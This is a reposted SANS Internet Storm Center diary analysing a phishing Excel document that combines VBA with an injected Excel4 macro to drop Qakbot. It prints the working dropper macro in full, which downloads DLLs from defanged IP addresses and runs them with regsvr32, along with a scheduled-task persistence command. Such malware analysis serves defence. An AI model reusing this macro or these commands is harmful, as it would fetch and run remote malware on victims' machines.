Excel Recipe: Some VBA Code with a Touch of Excel4 Macro, (Thu, Sep 23rd)

This post was originally published on this site

Microsoft Excel supports two types of macros. The legacy format is known as “Excel4 macro” and the new (but already used for a while) is based on VBA. We already cover both formats in many diaries[1][2]. Yesterday, I spotted an interesting sample that implements… both!

The malicious file was delivered through a classic phishing email and is called “Document_195004540-Copy.xls” (SHA256:4f4e67dccb3dfc213fac91d34d53d83be9b9f97c0b75fbbce8a6d24f26549e14). The file is unknown on VT at this time. It looks like a classic trap:

The document contains some VBA code:

remnux@remnux:/MalwareZoo/20210922$ oledump.py Document_195004540-Copy.xls
  1:       103 'x01CompObj'
  2:       240 'x05DocumentSummaryInformation'
  3:       208 'x05SummaryInformation'
  4:    180804 'Workbook'
  5:       597 '_VBA_PROJECT_CUR/PROJECT'
  6:       116 '_VBA_PROJECT_CUR/PROJECTwm'
  7:        97 '_VBA_PROJECT_CUR/UserForm1/x01CompObj'
  8:       301 '_VBA_PROJECT_CUR/UserForm1/x03VBFrame'
  9:       226 '_VBA_PROJECT_CUR/UserForm1/f'
 10:       272 '_VBA_PROJECT_CUR/UserForm1/o'
 11: M    3768 '_VBA_PROJECT_CUR/VBA/Module1'
 12: m     991 '_VBA_PROJECT_CUR/VBA/Sheet1'
 13: M    3010 '_VBA_PROJECT_CUR/VBA/ThisWorkbook'
 14: m    1195 '_VBA_PROJECT_CUR/VBA/UserForm1'
 15:      3860 '_VBA_PROJECT_CUR/VBA/_VBA_PROJECT'
 16:      2004 '_VBA_PROJECT_CUR/VBA/__SRP_0'
 17:       138 '_VBA_PROJECT_CUR/VBA/__SRP_1'
 18:       212 '_VBA_PROJECT_CUR/VBA/__SRP_2'
 19:       206 '_VBA_PROJECT_CUR/VBA/__SRP_3'
 20:       864 '_VBA_PROJECT_CUR/VBA/dir'

Here is the interesting macro (stream 11):

remnux@remnux:/MalwareZoo/20210922$ oledump.py Document_195004540-Copy.xls -s 11 -v
Attribute VB_Name = "Module1"
Sub auto_open()
  On Error Resume Next
  Application.ScreenUpdating = False
  Set Fera = Excel4IntlMacroSheets
  Fera.Add.Name = "Sheet3"
  Sheets("Sheet3").Visible = False
  Sheets("Sheet3").Range("A1:M100").Font.Color = vbWhite
  Sheets("Sheet3").Range("H24") = UserForm1.Label1.Caption
  Sheets("Sheet3").Range("H25") = UserForm1.Label3.Caption
  Sheets("Sheet3").Range("H26") = UserForm1.Label4.Caption
  Sheets("Sheet3").Range("K17") = "=NOW()"
  Sheets("Sheet3").Range("K18") = ".dat"
  Sheets("Sheet3").Range("H35") = "=HALT()"
  Sheets("Sheet3").Range("I9") = UserForm1.Label2.Caption 
  Sheets("Sheet3").Range("I10") = UserForm1.Caption
  Sheets("Sheet3").Range("I11") = "JJCCBB"
  Sheets("Sheet3").Range("I12") = "Byukilos"
  Sheets("Sheet3").Range("G10") = "..Xertis.dll"
  Sheets("Sheet3").Range("G11") = "..Xertis1.dll"
  Sheets("Sheet3").Range("G12") = "..Xertis2.dll"
  Sheets("Sheet3").Range("I17") = "regsvr32 -silent ..Xertis.dll"
  Sheets("Sheet3").Range("I18") = "regsvr32 -silent ..Xertis1.dll"
  Sheets("Sheet3").Range("I19") = "regsvr32 -silent ..Xertis2.dll"
  Sheets("Sheet3").Range("H10") = "=Byukilos(0,H24&K17&K18,G10,0,0)"
  Sheets("Sheet3").Range("H11") = "=Byukilos(0,H25&K17&K18,G11,0,0)"
  Sheets("Sheet3").Range("H12") = "=Byukilos(0,H26&K17&K18,G12,0,0)"
  Sheets("Sheet3").Range("H9") = "=REGISTER(I9,I10&J10,I11,I12,,1,9)"
  Sheets("Sheet3").Range("H17") = "=EXEC(I17)"
  Sheets("Sheet3").Range("H18") = "=EXEC(I18)"
  Sheets("Sheet3").Range("H19") = "=EXEC(I19)"
  Application.Run Sheets("Sheet3").Range("H1")
End Sub

Sub auto_close()
  On Error Resume Next
  Application.ScreenUpdating = True
  Application.DisplayAlerts = False
  Sheets("Sheet3").Delete
  Application.DisplayAlerts = True
End Sub

First, the attacker wrote some “good” code because a new sheet ("Sheet3") is created and, when the document is closed, the sheet is removed! (Via the auto_close() function).

The magic line is this one:

Set Fera = Excel4IntlMacroSheets

See the Microsoft documentation[3]. An Excel4 macro is injected into the created sheet and executed. What does it do?

It downloads the second stage payload from three different URLs (stored in a form):

hxxp://45[.]153[.]242[.]159/44461.9891568287.dat
hxxp://188[.]165[.]62[.]61/44461.9891568287.dat
hxxp://185[.]198[.]57[.]109/44461.9891568287.dat

The downloaded file is called Xertis.dll (SHA256:b8b8895cdf37dba76f9966ec100ac85cc0f70dfd79f09a175454b5062d21c25d) and again unknown on VT. This is a DLL that is loaded into the system via this command:

regsvr32 -silent ..Xertis.dll

Persistence is implemented via a scheduled task:

"C:Windowssystem32schtasks.exe" /Create /RU "NT AUTHORITYSYSTEM" /tn wxhfetombc /tr "regsvr32.exe -s "C:Usersuser01Xertis.dll"" /SC ONCE /Z /ST 23:45 /ET 23:57

Once I infected my lab, the following C2 traffic was generated:

It’s a Qakbot sample…

The VBA macro was not obfuscated but the idea of mixing VBA with Excel4 was pretty clever to defeat many hunting rules.

[1] https://isc.sans.edu/forums/diary/Maldoc+Excel+40+Macros/24750
[2] https://isc.sans.edu/forums/diary/VBA+Macro+Trying+to+Alter+the+Application+Menus/27068
[3] https://docs.microsoft.com/en-us/office/vba/api/excel.application.excel4intlmacrosheets

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

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